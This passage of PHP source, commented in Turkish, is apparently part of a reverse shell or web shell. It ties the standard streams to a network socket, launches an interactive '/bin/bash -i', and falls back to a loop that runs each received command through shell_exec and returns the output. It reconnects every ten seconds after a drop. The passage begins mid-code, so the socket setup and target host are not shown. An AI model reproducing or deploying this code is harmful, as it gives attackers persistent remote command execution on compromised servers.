$sock, 1 => $sock, 2 => $sock ]; // proc_open dene, olmazsa shell_exec ile idare et if (function_exists('proc_open')) { $process = @proc_open('/bin/bash -i', $descriptorspec, $pipes); if (is_resource($process)) { @proc_close($process); } } else { // Fallback: basit komut döngüsü fwrite($sock, "[+] Bağlantı kuruldu\n# "); while (!feof($sock)) { $cmd = fgets($sock, 4096); $cmd = trim($cmd); if (strtolower($cmd) === 'exit' || strtolower($cmd) === 'quit') { break; } if ($cmd) { $output = @shell_exec($cmd . ' 2>&1'); fwrite($sock, $output . "\n# "); } } } @fclose($sock); } // Bağlantı koptuysa 10 saniye bekle ve tekrar dene sleep(10); } ?>